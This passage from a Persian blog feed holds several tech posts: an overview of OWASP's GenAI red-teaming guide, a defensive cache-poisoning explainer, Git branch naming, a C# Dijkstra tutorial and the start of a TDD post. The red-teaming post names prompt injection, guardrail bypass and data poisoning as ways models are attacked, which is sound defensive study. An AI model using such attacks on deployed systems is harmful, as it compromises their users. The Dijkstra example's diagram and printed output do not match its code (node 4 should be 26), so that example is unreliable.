بی‌هدف و کلیشه‌ای نبودن، دقیق نوشته شده بودن. همین باعث شد وسوسه بشم یکی از کتاب‌ها رو بخرم.تجربه خریدکتابی که انتخاب کردم « مقدمه‌ای بر Bug Bounty: از مبتدی تا حرفه‌ای» بود. وقتی سفارش دادم گفتن باید چاپ بشه و چند روز طول می‌کشه. اولش کمی دودل شدم ولی پشتیبانی سریع جواب داد و همه‌چیز شفاف بود. نهایتاً کتاب مرتب و تمیز به دستم رسید.چیزی فراتر از انتظاراز همون صفحه‌ی اول فهمیدم این کتاب ارزش وقتی رو که براش گذاشتم داره. این کتاب پر بود از نکات کاربردی که با عمل کردن میتونستم تست‌شون کنم. بخش‌هایی که مثال‌محور بودن و تمرین‌های مشخص داشتن، برای من بسیار ارزشمندتر از صرفا خواندن تئوری بودن. تجربه خواندنش بیشتر شبیه گذروندن یه دوره کوتاه عملی بود تا فقط خوندن یک مرجع تئوری.چرا بهش اعتماد کردمچیزی که برای من مهم بود این بود که همون کیفیتی که تو کتاب‌های رایگان دیده بودم، تو کتاب پولی هم حفظ شده بود. محتوای به‌روز، پشتیبانی قابل اعتماد و تمرکز روی زبان فارسی باعث شد حس کنم دارم به یه منبع جدی و متفاوت دسترسی پیدا می‌کنم.حرف آخرمن از یه کاربر شکاک به کسی تبدیل شدم که حالا این منابع رو جدی دنبال می‌کنه. نمی‌خوام بگم همه باید همین تجربه رو داشته باشن، ولی پیشنهاد می‌کنم اگه مثل من دنبال یه منبع جدید هستید، اول کتاب‌های رایگانشون رو بخونید. احتمالاً خیلی زود خودتون می‌فهمید ارزش ادامه دادن داره یا نه.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sun, 05 Oct 2025 14:37:07 +0330</pubDate></item><item><title>راهنمای GenAI Red Teaming</title><link>https://virgool.ir/@LoopLunatic/راهنمای-genai-red-teaming-x7xmxksaauvc</link><description>هوش مصنوعی زایشی (GenAI) مثل مدل‌های زبانی بزرگ (LLMs) تحولی عظیم در فناوری و کسب‌وکارها ایجاد کرده است. اما در کنار فرصت‌ها، تهدیدها و ریسک‌های جدیدی را هم به همراه آورده که با روش‌های سنتی امنیت سایبری به‌سادگی قابل شناسایی یا مدیریت نیستند. به همین دلیل، مفهوم GenAI Red Teaming مطرح شده است: مجموعه‌ای از فعالیت‌ها و روش‌های تخصصی برای آزمایش، شناسایی و کاهش ریسک‌های امنیتی، اخلاقی و عملکردی در سیستم‌های هوش مصنوعی.این رویکرد ترکیبی از تست‌های سنتی امنیتی و متدولوژی‌های خاص AI است و به سازمان‌ها کمک می‌کند مطمئن شوند که مدل‌های هوش مصنوعی‌شان امن، قابل اعتماد و همسو با اهداف و ارزش‌های سازمانی هستند.چرا GenAI Red Teaming اهمیت دارد؟در امنیت سنتی، تمرکز روی نفوذ به سرورها، شبکه یا زیرساخت‌هاست. اما در GenAI ماجرا متفاوت است. اینجا حتی اگر مهاجم نتواند به زیرساخت نفوذ کند، می‌تواند با طراحی ورودی‌های خاص (Prompt Injection) مدل را وادار به خروجی‌های مخرب یا غیرمنتظره کند. برخی تهدیدهای مهم عبارتند از:حملات تزریق پرامپت: واداشتن مدل به شکستن قوانین یا افشای اطلاعات حساس.سمّیت و تعصب (Bias &amp; Toxicity): تولید محتوای توهین‌آمیز، تبعیض‌آمیز یا نامناسب.نشت داده (Data Leakage): بیرون کشیدن داده‌های خصوصی یا محرمانه از مدل.مسموم‌سازی داده (Data Poisoning): تغییر داده‌های آموزشی برای ایجاد رفتار ناخواسته.توهمات (Hallucinations): تولید اطلاعات نادرست اما با اطمینان بالا.ریسک‌های عامل‌ها (Agentic Vulnerabilities): در سیستم‌هایی که مدل‌ها به ابزارها و APIها وصل‌اند.ریسک‌های زنجیره تأمین (Supply Chain Risks): وابستگی به کتابخانه‌ها و داده‌های خارجی که ممکن است آلوده باشند.بنابراین، Red Teaming در GenAI فقط موضوع تکنیکال نیست؛ بلکه باید جنبه‌های اخلاقی، اجتماعی و حتی قانونی را هم در نظر بگیرد.فرآیند GenAI Red Teamingراهنمای OWASP پیشنهاد می‌کند این فرآیند در چهار لایه انجام شود:ارزیابی مدل (Model Evaluation)بررسی ضعف‌های ذاتی مدل مثل سوگیری، سمّیت، یا امکان بایپس شدن گاردریل‌ها.تست مقاومت در برابر حملات پرامپت یا استخراج دانش.تحلیل میزان صحت و جلوگیری از توهمات.ارزیابی پیاده‌سازی (Implementation Evaluation)تست سیستم پرامپت‌ها، فیلترها و گاردریل‌ها.بررسی امنیت پایگاه داده برداری (Vector DB) در RAG.تست پروکسی‌ها و فایروال‌های مخصوص مدل.ارزیابی سیستم (System Evaluation)تمرکز روی کل اکوسیستم: APIها، ذخیره‌سازی، زنجیره تأمین نرم‌افزار.بررسی نحوه تعامل خروجی مدل با سایر بخش‌های سیستم.تست تزریق کد، فرار از سندباکس یا حملات DoS.ارزیابی زمان اجرا و تعامل انسانی (Runtime/Human Interaction)تحلیل رفتار مدل هنگام استفاده واقعی توسط کاربران یا عامل‌های خودکار.بررسی ریسک‌های مهندسی اجتماعی، اعتماد بیش‌ازحد کاربران، و دستکاری تصمیم‌گیری عامل‌ها.این چهار مرحله کمک می‌کند آسیب‌پذیری‌ها از سطح مدل تا سطح سیستم و کاربران شناسایی شوند.تفاوت با Red Teaming سنتیمحدوده نگرانی‌ها: سنتی روی نفوذ فنی؛ GenAI شامل تعصب، سمّیت، خروجی‌های مضر.پیچیدگی داده‌ها: داده‌های متنوع و عظیم در GenAI، ارزیابی سخت‌تر از سیستم‌های قطعی.ماهیت احتمالی (Stochastic): خروجی مدل‌ها تصادفی است، پس تست‌ها باید آماری و چندباره باشند.معیارهای موفقیت: به‌جای “نفوذ شد یا نه”، اینجا درصد موفقیت حملات و میزان انحراف از رفتار مطلوب ملاک است.تکنیک‌ها و روش‌هاراهنما مجموعه‌ای از تکنیک‌های عملی را پیشنهاد می‌کند، مثل:مهندسی پرامپت خصمانه (Adversarial Prompt Engineering): طراحی ورودی‌های مختلف برای کشف ضعف‌ها.حملات یک‌مرحله‌ای و چندمرحله‌ای: بررسی ضعف‌ها در گفت‌وگوهای پیچیده.تست لبه‌ها (Edge Case Testing): بررسی ورودی‌های مبهم و غیرمعمول.استرس‌تست: آزمایش کیفیت خروجی در شرایط بار زیاد یا ورودی‌های غیرعادی.ارزیابی حریم خصوصی: بررسی احتمال افشای اطلاعات محرمانه.تحلیل سوگیری و اخلاق: تست با لهجه‌ها، زبان‌ها و سناریوهای فرهنگی مختلف.مقایسه بین‌مدلی: بررسی تفاوت خروجی‌ها در مدل‌ها یا نسخه‌های مختلف.تحلیل عامل‌ها و پلاگین‌ها: تست مرزهای تصمیم‌گیری عامل‌های خودکار و دسترسی به ابزارها.بلوپرینت عملی Red Teamingاین چارچوب شامل مراحل مشخصی است:تعیین اهداف و محدودهشناسایی منابع و ابزارهاطراحی سناریو و اجرای تست‌هامستندسازی یافته‌ها و تحلیل ریسکارائه گزارش و توصیه‌هابازبینی و بهبود مستمرنکته مهم این است که Red Teaming یک پروژه یک‌باره نیست، بلکه فرآیندی مداوم است.بلوغ در AI Red Teamingسازمان‌های بالغ ویژگی‌های زیر را دارند:ادغام Red Teaming با کل چرخه مدیریت ریسک سازمان.تیم چندرشته‌ای (AI، امنیت، اخلاق، حقوق، ریسک).وجود چارچوب تعامل و قوانین مشخص (Scope، ROE، ایمنی).توجه به ملاحظات منطقه‌ای و حوزه‌ای (قوانین محلی، فرهنگ‌ها).گزارش‌دهی شفاف و سیستم بازخورد برای بهبود مستمر.بهترین رویه‌ها و نمونه‌های سازمانیراهنما با بررسی سازمان‌های بزرگ AI چند الگو معرفی می‌کند:برخی سازمان‌ها اتکای شدید به اتوماسیون دارند.بعضی‌ها ترکیب تخصص امنیت و هوش مصنوعی را کلید موفقیت می‌دانند.برخی دیگر روی نوآوری‌های اجتماع‌محور و ابزارهای متن‌باز تکیه می‌کنند.سازمان‌های سیاست‌محور به استانداردها و چارچوب‌های حاکمیتی توجه بیشتری دارند.همچنین OWASP Top 10 for LLMs به‌عنوان یک مرجع کلیدی معرفی شده که فهرستی از رایج‌ترین آسیب‌پذیری‌ها و بهترین روش‌های مقابله با آن‌ها را ارائه می‌دهد.جمع‌بندیGenAI Red Teaming راهی برای تضمین امنیت، اعتماد و همسویی سیستم‌های هوش مصنوعی با اهداف سازمان است.با توجه به ویژگی‌های خاص مدل‌های زایشی، سازمان‌ها باید رویکردی چندلایه و مداوم برای ارزیابی داشته باشند:تست مدل‌ها و گاردریل‌هابررسی کل سیستم و زیرساختتحلیل رفتار زمان اجرا و تعاملات انسانیادغام نتایج در مدیریت ریسک سازمانیدر نهایت، Red Teaming برای GenAI فقط موضوع فنی نیست، بلکه نیازمند همکاری میان امنیت، مهندسی، اخلاق، ریسک و مدیریت است.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Mon, 25 Aug 2025 08:41:34 +0330</pubDate></item><item><title>درک مسمومیت حافظه پنهان (Cache Poisoning): تهدیدها، روش‌ها و کاهش آن</title><link>https://virgool.ir/@LoopLunatic/درک-مسمومیت-حافظه-پنهان-cache-poisoning-تهدیدها-روش-ها-و-کاهش-آن-qgtszoxvc0hr</link><description>در چشم‌انداز دیجیتالی به‌هم‌پیوسته امروزی که تبادل اطلاعات آنی است، مسمومیت حافظه پنهان (Cache Poisoning) به‌عنوان یک تهدید مهم برای امنیت سایبری ظاهرشده است. این بردار حمله موذیانه سیستم‌های کش سرورهای وب، سرورهای DNS و سایر اجزای زیرساخت شبکه را هدف قرار می‌دهد و یکپارچگی و قابلیت اطمینان آن‌ها را به خطر می‌اندازد. در این مقاله، ما به پیچیدگی‌های مسمومیت حافظه پنهان می‌پردازیم، روش‌ها، پیامدها و استراتژی‌های آن را برای کاهش تأثیر آن بررسی می‌کنیم.مسمومیت کش (Cache Poisoning) چیست؟مسمومیت کش یک حمله سایبری است که شامل خراب کردن داده‌های ذخیره‌شده در سیستم‌های Cache با محتوای مخرب یا غیرمجاز است. Cache ها مکان‌های ذخیره‌سازی موقتی هستند که داده‌های با دسترسی مکرر را برای تسریع زمان بازیابی و بهبود عملکرد کلی سیستم ذخیره می‌کنند. با مسموم کردن حافظه پنهان (Cache)، مهاجمان می‌توانند ترافیک قانونی را به وب‌سایت‌های مخرب هدایت کنند، اطلاعات حساس را ره‌گیری کنند یا عملکرد عادی سرویس‌های وب را مختل کنند.روش‌های مسمومیت کش:حملات مسمومیت کش می‌توانند به اشکال مختلف ظاهر شوند و هرکدام از آسیب‌پذیری‌های زیرساخت کش برای دستیابی به اهداف مخرب سوءاستفاده می‌کنند. برخی از روش‌های رایج عبارت‌اند از:1. مسمومیت کش DNS: سرورهای سیستم نام دامنه (DNS) نام دامنه‌های قابل‌خواندن توسط انسان را به آدرس‌های IP ترجمه می‌کنند و ارتباطات اینترنتی را تسهیل می‌کنند. در حملات مسمومیت کش DNS، مهاجمان از نقاط ضعف در فرآیندهای حل DNS برای تزریق سوابق DNS جعلی به حافظه کش سوءاستفاده می‌کنند. متعاقباً، کاربران ناآگاه به وب‌سایت‌های مخرب هدایت می‌شوند که منجر به سرقت بالقوه داده یا آلودگی بدافزار می‌شود.2. مسمومیت کش وب: سرورهای وب از مکانیسم‌های کش برای ذخیره محتوای ثابت مانند تصاویر، اسکریپت‌ها و فایل‌های HTML استفاده می‌کنند تا عملکرد وب‌سایت را افزایش دهند. مهاجمان می‌توانند هدرهای HTTP، کوکی‌ها یا پارامترهای پرس‌وجو را دست‌کاری کنند تا کش های وب را با محتوای مخرب مسموم کنند. درنتیجه، کاربران قانونی ممکن است ناآگاهانه صفحات وب دست‌کاری شده یا مخرب را دریافت کنند و حریم خصوصی و امنیت آن‌ها به خطر بیفتد.3. مسمومیت کش ARP: پروتکل حل آدرس (ARP) آدرس‌های IP را به آدرس‌های MAC در محیط‌های شبکه محلی ترجمه می‌کند. مسمومیت حافظه پنهان ARP که به‌عنوان جعل ARP یا مسمومیت ARP نیز شناخته می‌شود، شامل ارسال پیام‌های ARP جعلی برای مرتبط کردن آدرس MAC مهاجم با آدرس‌های IP قانونی است. با انجام این کار، مهاجمان می‌توانند ترافیک شبکه را ره‌گیری کنند، حملات انسان در میان را انجام دهند یا حملات انکار سرویس را انجام دهند.پیامدهای مسمومیت کش:عواقب حملات مسمومیت حافظه پنهان می‌تواند شدید باشد و بر افراد و سازمان‌ها تأثیر بگذارد:نقض داده‌ها: محتوای مخرب تزریق‌شده به سیستم‌های حافظه پنهان ممکن است منجر به دسترسی غیرمجاز به اطلاعات حساس، مانند اعتبار ورود، داده‌های مالی یا سوابق شخصی شود.انتشار بدافزار: با هدایت کاربران به وب‌سایت‌های مخرب یا ارائه محتوای آلوده، حملات مسمومیت حافظه پنهان می‌تواند انتشار بدافزارها ازجمله باج افزار، جاسوس‌افزار یا تروجان‌ها را تسهیل کند.اختلال در خدمات: دست‌کاری داده‌های حافظه پنهان می‌تواند عملکرد عادی وب‌سرویس‌ها را مختل کند و درنتیجه باعث ازکارافتادن وب‌سایت، کاهش اعتماد کاربران و ضررهای مالی برای کسب‌وکارها شود.جلوگیری از حملات مسمومیت حافظه پنهان:برای کاهش خطرات ناشی از حملات مسمومیت حافظه پنهان، سازمان‌ها می‌توانند اقدامات امنیتی پیشگیرانه و بهترین شیوه‌ها را اجرا کنند:1. پیاده‌سازی DNSSEC: پسوندهای امنیتی سیستم نام دامنه (DNSSEC) به‌صورت رمزنگاری رکوردهای DNS را برای جلوگیری از تغییر یا دست‌کاری غیرمجاز امضا می‌کنند. با اعتبارسنجی پاسخ‌های DNS در برابر امضای دیجیتال، DNSSEC به کاهش خطر حملات مسمومیت حافظه پنهان DNS کمک می‌کند.2. شستشوی منظم حافظه پنهان: شستشوی متناوب حافظه کش و تازه کردن داده‌های کش می‌تواند به حذف محتوای مسموم یا قدیمی کمک کند و احتمال حملات موفق مسمومیت کش را کاهش دهد.3. اعتبار سنجی ورودی و پاک‌سازی: اجرای مکانیسم‌های دقیق اعتبار سنجی ورودی و پاک‌سازی در برنامه‌های کاربردی وب می‌تواند از تزریق محتوای مخرب به حافظه پنهان وب از طریق درخواست‌های HTTP یا پارامترهای پرس‌وجو جلوگیری کند.4. تقسیم‌بندی شبکه: تقسیم‌بندی ترافیک شبکه و پیاده‌سازی کنترل‌های دسترسی می‌تواند تأثیر حملات مسمومیت حافظه پنهان ARP را با محدود کردن توانایی مهاجم برای ره‌گیری ارتباط بین دستگاه‌های شبکه محدود کند.5. نظارت و تشخیص نفوذ: استقرار ابزارهای مانیتورینگ شبکه و سیستم‌های تشخیص نفوذ (IDS) می‌تواند به شناسایی رفتار غیرعادی که نشان‌دهنده حملات مسمومیت حافظه پنهان است کمک کند و پاسخ به‌موقع حادثه و کاهش آن را ممکن می‌سازد.6. آموزش آگاهی از امنیت: آموزش کاربران و کارمندان در مورد خطرات مرتبط با حملات مسمومیت حافظه پنهان و ترویج بهترین شیوه‌های امنیت سایبری، مانند اجتناب از لینک‌ها یا وب‌سایت‌های مشکوک، می‌تواند به کاهش عامل انسانی در چنین حملاتی کمک کند.نتیجه:مسمومیت حافظه پنهان تهدیدی قابل‌توجه برای یکپارچگی، محرمانه بودن و در دسترس بودن سیستم‌ها و خدمات شبکه‌ای است. با بهره‌برداری از آسیب‌پذیری‌ها در زیرساخت حافظه پنهان، مهاجمان می‌توانند داده‌های ذخیره‌شده را برای دستیابی به اهداف مخرب دست‌کاری کنند، از سرقت داده تا اختلال در سرویس. بااین‌حال، با اجرای اقدامات امنیتی قوی، مانند اجرای DNSSEC، شستشوی حافظه پنهان و تقسیم‌بندی شبکه، سازمان‌ها می‌توانند خطرات ناشی از حملات مسمومیت حافظه پنهان را کاهش داده و از دارایی‌های دیجیتال خود در برابر سوءاستفاده محافظت کنند. هوشیاری، دفاع پیشگیرانه و آگاهی امنیتی مستمر در دفاع در برابر این تهدید سایبری فراگیر بسیار مهم است.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sat, 26 Jul 2025 11:15:47 +0330</pubDate></item><item><title>بهترین روش‌های نام‌گذاری شاخه‌ها در Git برای پیاده‌سازی موفق CI/CD</title><link>https://virgool.ir/@LoopLunatic/بهترین-روش-های-نام-گذاری-شاخه-ها-در-git-برای-پیاده-سازی-موفق-cicd-igtc2uamfe5h</link><description>در دنیای توسعه نرم‌افزار، استفاده از سیستم‌های کنترل نسخه مانند Git و پیاده‌سازی خطوط لوله CI/CD (ادغام و تحویل پیوسته) به یک استاندارد تبدیل‌شده است. یکی از عناصر کلیدی که تأثیر مستقیمی بر موفقیت CI/CD دارد، نام‌گذاری صحیح شاخه‌ها (Branch Naming) در Git است. در این مقاله، به بررسی بهترین روش‌های نام‌گذاری شاخه‌ها می‌پردازیم که به تیم‌ها کمک می‌کند فرآیندهای خودکارسازی را به‌طور مؤثرتری مدیریت کنند.اهمیت نام‌گذاری شاخه‌ها در CI/CDنام‌گذاری شاخه‌ها نه‌تنها سازمان‌دهی کد را بهبود می‌بخشد، بلکه بر نحوه اجرای خودکار تست‌ها، ساخت و استقرار نرم‌افزار تأثیر می‌گذارد. یک ساختار نام‌گذاری منظم به ابزارهای CI/CD مانند GitHub Actions، GitLab CI/CD یا Jenkins کمک می‌کند تا شاخه‌ها را شناسایی کرده و مراحل مناسب را بر اساس نوع شاخه اجرا کنند.بهترین روش‌های نام‌گذاری شاخه‌ها۱. استفاده از پیشوندهای معنادارپیشوندهای استاندارد به شناسایی سریع هدف شاخه کمک می‌کنند. برخی از رایج‌ترین پیشوندها عبارت‌اند از:شاخه feature/ : برای توسعه ویژگی‌های جدید (مثال feature/user-authentication).شاخه bugfix/ یا fix/ : برای رفع اشکالات (مثال bugfix/login-error).شاخه hotfix/  : برای رفع مشکلات بحرانی که نیاز به اصلاح فوری دارند. شاخه release/  : برای آماده‌سازی نسخه‌های جدید (مثالrelease/v1.2.0).شاخه docs/  : برای بروزرسانی مستندات.شاخه refactor/ : برای بازنویسی کد بدون تغییر رفتار.۲. نام‌گذاری توصیفی و مختصر  از نام‌های کلی مانند `patch-1` یا `test-branch` اجتناب کنید.  از کلمات جداکننده مانند خط تیره (`-`) یا زیرخط (`_`) برای خوانایی بهتر استفاده کنید.مثال: `feature/checkout-process-improvement`.۳. استفاده از شماره‌گذاری مسئله (Issue Tracking)  اگر از سیستم‌های ردیابی مسئله مانند Jira یا GitHub Issues استفاده می‌کنید، می‌توانید شماره مسئله را در نام شاخه قرار دهید:  مثال: `feature/JIRA-123-add-payment-gateway`  ۴. خودداری از کاراکترهای خاص  از کاراکترهایی مانند فاصله، `@`، `#` و `*` که ممکن است در ابزارهای مختلف مشکلاتی ایجاد کنند، پرهیز کنید.  ۵. تطابق با قوانین تیم  مهم است که تمام اعضای تیم از یک قرارداد نام‌گذاری پیروی کنند تا سازگاری حفظ شود. این موضوع در CI/CD بسیار حیاتی است، زیرا برخی از قوانین ممکن است بر اساس نام شاخه، عملیات خاصی را فعال کنند.  تأثیر نام‌گذاری شاخه‌ها بر CI/CD  اجرای خودکار تست‌ها: می‌توانید پیکربندی کنید تا تست‌های واحد فقط روی شاخه‌های `feature/` اجرا شوند.استقرار خودکار: شاخه‌های `release/` می‌توانند به‌صورت خودکار در محیط staging استقرار یابند.  مسدودسازی ادغام: می‌توان شاخه‌های بدون نام استاندارد را از ادغام در `main` مسدود کرد.  نتیجه‌گیری  نام‌گذاری صحیح شاخه‌ها نه‌تنها همکاری بین توسعه‌دهندگان را بهبود می‌بخشد، بلکه پایه‌ای محکم برای پیاده‌سازی مؤثر CI/CD فراهم می‌کند. با رعایت اصول ساده اما مؤثر مانند استفاده از پیشوندهای استاندارد و نام‌گذاری توصیفی، می‌توانید از بسیاری از مشکلات در فرآیندهای خودکار جلوگیری کنید. </description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Wed, 07 May 2025 10:19:19 +0330</pubDate></item><item><title>الگوریتم دایکسترا (Dijkstra’s Algorithm)</title><link>https://virgool.ir/@LoopLunatic/الگوریتم-دایکسترا-dijkstras-algorithm-cxagg90nkcv0</link><description>الگوریتم دایکسترا یکی از مشهورترین الگوریتم‌ها در حوزه‌ی نظریه گراف‌ها و مسیر‌یابی است که برای یافتن کوتاه‌ترین مسیر از یک رأس به سایر رأس‌های یک گراف وزن‌دار بدون وزن‌های منفی به کار می‌رود. این الگوریتم توسط ادسخر دایکسترا (Edsger Dijkstra) در سال 1956 ارائه شد و از آن زمان تاکنون در حوزه‌های مختلفی ازجمله شبکه‌های کامپیوتری، مسیریابی GPS، طراحی مدارهای الکترونیکی و بسیاری از مسائل مرتبط با مسیر‌یابی به کار گرفته‌شده است.لگوریتم دایکسترا برای یافتن کوتاه‌ترین مسیر در یک گراف وزن‌دار جهت‌دار یا بدون جهت استفاده می‌شود. فرض کنید گرافی به‌صورت G=(V,E)G=(V,E) داده‌شده که: مجموعه‌ای از رأس‌ها (گره‌ها) است.مجموعه‌ای از یال‌ها است که دو رأس را به هم متصل می‌کنند. هر یال وزنی (cost) دارد که بیانگر هزینه‌ی حرکت از یک رأس به رأس دیگر است.مراحل الگوریتم۱. مقدار فاصله‌ی هر رأس از مبدأ را ∞ در نظر می‌گیریم، به‌جز رأس مبدأ که مقدار آن ۰ است.۲. یک مجموعه‌ی بازدید نشده (Unvisited Nodes) ایجاد می‌کنیم که شامل تمامی رأس‌ها است.3. در هر گام، رأسی را که کمترین مقدار فاصله را دارد، انتخاب کرده و آن را قطعی (Visited) می‌کنیم.4. تمامی همسایگان این رأس را بررسی کرده و مقدار فاصله‌ی آن‌ها را به‌روزرسانی می‌کنیم.5. این روند را تکرار می‌کنیم تا زمانی که تمامی گره‌ها بررسی شوند یا به هدف موردنظر برسیم.کاربردهای الگوریتم دایکستراالگوریتم دایکسترا در بسیاری از زمینه‌ها استفاده می‌شود، ازجمله:    مسیریابی در شبکه‌های کامپیوتری: برای یافتن کوتاه‌ترین مسیر بین دو دستگاه در یک شبکه.    سیستم‌های ناوبری GPS: برای یافتن کوتاه‌ترین مسیر بین دو مکان جغرافیایی.    بازی‌های کامپیوتری: برای حرکت هوشمند شخصیت‌ها در محیط‌های مجازی.    زمان‌بندی پروازها: برای یافتن کوتاه‌ترین مسیر بین دو فرودگاه.پیاده‌سازی الگوریتم دایکسترا در سی شارپدر زیر یک پیاده‌سازی ساده از الگوریتم دایکسترا به زبان سی شارپ ارائه‌شده استالگوریتم دایکسترا یکی از مشهورترین الگوریتم‌ها در حوزه‌ی نظریه گراف‌ها و مسیر‌یابی است که برای یافتن کوتاه‌ترین مسیر از یک رأس به سایر رأس‌های یک گراف وزن‌دار بدون وزن‌های منفی به کار می‌رود. این الگوریتم توسط ادسخر دایکسترا (Edsger Dijkstra) در سال 1956 ارائه شد و از آن زمان تاکنون در حوزه‌های مختلفی ازجمله شبکه‌های کامپیوتری، مسیریابی GPS، طراحی مدارهای الکترونیکی و بسیاری از مسائل مرتبط با مسیر‌یابی به کار گرفته‌شده است.۱. نحوه‌ی عملکرد الگوریتم دایکسترا۱.۱. تعریف مسئلهالگوریتم دایکسترا برای یافتن کوتاه‌ترین مسیر در یک گراف وزن‌دار جهت‌دار یا بدون جهت استفاده می‌شود. فرض کنید گرافی به‌صورت G=(V,E)G=(V,E) داده‌شده که:    VV مجموعه‌ای از رأس‌ها (گره‌ها) است.    EE مجموعه‌ای از یال‌ها است که دو رأس را به هم متصل می‌کنند.    هر یال وزنی (cost) دارد که بیانگر هزینه‌ی حرکت از یک رأس به رأس دیگر است.۱.۲. مراحل الگوریتم۱. مقدار فاصله‌ی هر رأس از مبدأ را ∞ در نظر می‌گیریم، به‌جز رأس مبدأ که مقدار آن ۰ است.۲. یک مجموعه‌ی بازدید نشده (Unvisited Nodes) ایجاد می‌کنیم که شامل تمامی رأس‌ها است.3. در هر گام، رأسی را که کمترین مقدار فاصله را دارد، انتخاب کرده و آن را قطعی (Visited) می‌کنیم.4. تمامی همسایگان این رأس را بررسی کرده و مقدار فاصله‌ی آن‌ها را به‌روزرسانی می‌کنیم.5. این روند را تکرار می‌کنیم تا زمانی که تمامی گره‌ها بررسی شوند یا به هدف موردنظر برسیم.کاربردهای الگوریتم دایکستراالگوریتم دایکسترا در بسیاری از زمینه‌ها استفاده می‌شود، ازجمله:    مسیریابی در شبکه‌های کامپیوتری: برای یافتن کوتاه‌ترین مسیر بین دو دستگاه در یک شبکه.    سیستم‌های ناوبری GPS: برای یافتن کوتاه‌ترین مسیر بین دو مکان جغرافیایی.    بازی‌های کامپیوتری: برای حرکت هوشمند شخصیت‌ها در محیط‌های مجازی.    زمان‌بندی پروازها: برای یافتن کوتاه‌ترین مسیر بین دو فرودگاه.پیاده‌سازی الگوریتم دایکسترا در سی شارپدر زیر یک پیاده‌سازی ساده از الگوریتم دایکسترا به زبان سی شارپ ارائه‌شده است.using System;using System.Collections.Generic;class Dijkstra{    private static int V = 6; // تعداد گره‌ها    private int MinDistance(int[] dist, bool[] sptSet)    {        int min = int.MaxValue, minIndex = -1;        for (int v = 0; v &lt; V; v++)            if (sptSet[v] == false &amp;&amp; dist[v] &lt;= min)            {                min = dist[v];                minIndex = v;            }        return minIndex;    }    private void PrintSolution(int[] dist)    {        Console.WriteLine(&#34;گره \t فاصله از گره شروع&#34;);        for (int i = 0; i &lt; V; i++)            Console.WriteLine(i + &#34; \t\t &#34; + dist[i]);    }    public void DijkstraAlgorithm(int[,] graph, int src)    {        int[] dist = new int[V]; // آرایه برای ذخیره کوتاه‌ترین فاصله از گره شروع        bool[] sptSet = new bool[V]; // آرایه برای مشخص کردن گره‌هایی که فاصله‌شان نهایی شده است        for (int i = 0; i &lt; V; i++)        {            dist[i] = int.MaxValue;            sptSet[i] = false;        }        dist[src] = 0;        for (int count = 0; count &lt; V - 1; count++)        {            int u = MinDistance(dist, sptSet);            sptSet[u] = true;            for (int v = 0; v &lt; V; v++)                if (!sptSet[v] &amp;&amp; graph[u, v] != 0 &amp;&amp; dist[u] != int.MaxValue &amp;&amp; dist[u] + graph[u, v] &lt; dist[v])                    dist[v] = dist[u] + graph[u, v];        }        PrintSolution(dist);    }    public static void Main()    {        int[,] graph = new int[,] {            { 0, 4, 0, 0, 0, 0 },            { 4, 0, 8, 0, 0, 0 },            { 0, 8, 0, 7, 0, 4 },            { 0, 0, 7, 0, 9, 14 },            { 0, 0, 0, 9, 0, 10 },            { 0, 0, 4, 14, 10, 0 }        };        Dijkstra dijkstra = new Dijkstra();        dijkstra.DijkstraAlgorithm(graph, 0);    }}توضیح کدتابع  MinDistance: این تابع گره‌ای را که کمترین فاصله از گره شروع دارد و هنوز بازدید نشده است، پیدا می‌کند.تابع PrintSolution: این تابع فاصله‌های نهایی از گره شروع به هر گره دیگر را چاپ می‌کند.تابع DijkstraAlgorithm: این تابع الگوریتم دایکسترا را اجرا می‌کند. ابتدا مقادیر اولیه را تنظیم می‌کند، سپس در هر مرحله گره با کمترین فاصله را انتخاب کرده و فاصله‌های همسایه‌های آن را به‌روزرسانی می‌کند.مثال حل‌شدهفرض کنید گراف زیر را داریم:     (0)    / | \  4/  |  \0  /   |   \(1)--(2)--(3) |   / \   | | 8/   \7 | | /     \ |(4)-------(5)    9در این گراف، گره شروع (0) است. الگوریتم دایکسترا فاصله‌های کوتاه‌ترین مسیر از گره (0) به سایر گره‌ها را محاسبه می‌کند.خروجی برنامه به‌صورت زیر خواهد بودگره     فاصله از گره شروع0        01        42        123        194        215        16این خروجی نشان می‌دهد که کوتاه‌ترین مسیر از گره (0) به گره (5) با فاصله 16 است.نتیجه‌گیریالگوریتم دایکسترا یک ابزار قدرتمند برای یافتن کوتاه‌ترین مسیر در گراف‌های وزن‌دار است. باوجود سادگی، این الگوریتم در بسیاری از کاربردهای عملی استفاده می‌شود و درک آن برای هر دانشجوی علوم کامپیوتر یا مهندسی نرم‌افزار ضروری است. پیاده‌سازی این الگوریتم در زبان‌های برنامه‌نویسی مانند سی شارپ نیز به درک بهتر مفاهیم آن کمک می‌کند.منابع پیشنهادی برای مطالعه بیشترIntroduction to Algorithms - CLRSGraph Theory and Its Applications - Jonathan GrossCoursera: Algorithms Specialization - Stanford University</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Mon, 21 Apr 2025 10:42:11 +0330</pubDate></item><item><title>توسعه مبتنی بر تست (TDD)</title><link>https://virgool.ir/@LoopLunatic/توسعه-مبتنی-بر-تست-tdd-fyc2rbat60c2</link><description>توسعه مبتنی بر تست (Test-Driven Development یا TDD) یکی از روش‌های مدرن و محبوب در فرآیند توسعه نرم‌افزار است. این روش که ابتدا توسط کنت بک معرفی شد، تمرکز خود را بر نوشتن تست‌های خودکار پیش از پیاده‌سازی کد قرار می‌دهد. با استفاده از TDD، توسعه‌دهندگان قادر خواهند بود کدهایی باکیفیت بالاتر، باگ کمتر و قابل نگهداری‌تر تولید کنند.اصول و مراحل TDDروش TDD بر اساس یک چرخه سه مرحله‌ای به نام چرخه قرمز-سبز-بازسازی کار می‌کند:    قرمز (Red):        در این مرحله، تستی نوشته می‌شود که برای یک ویژگی جدید است و قطعاً شکست می‌خورد، زیرا هنوز کدی برای پیاده‌سازی آن وجود ندارد.        هدف این است که نیازمندی‌ها به‌صورت دقیق مشخص شوند.    سبز (Green):        کمترین مقدار کدی که برای عبور تست لازم است، نوشته می‌شود. تمرکز در این مرحله بر عملکرد است، نه بهینه بودن کد.    بازسازی (Refactor):        کدهای نوشته‌شده برای بهبود ساختار، خوانایی و بهره‌وری بازسازی می‌شوند، بدون اینکه عملکرد کد تغییر کند. تمام تست‌ها باید همچنان موفق باشند.این چرخه تا زمانی تکرار می‌شود که تمام نیازمندی‌ها پوشش داده شوند.موارد استفاده TDD    توسعه نرم‌افزارهای 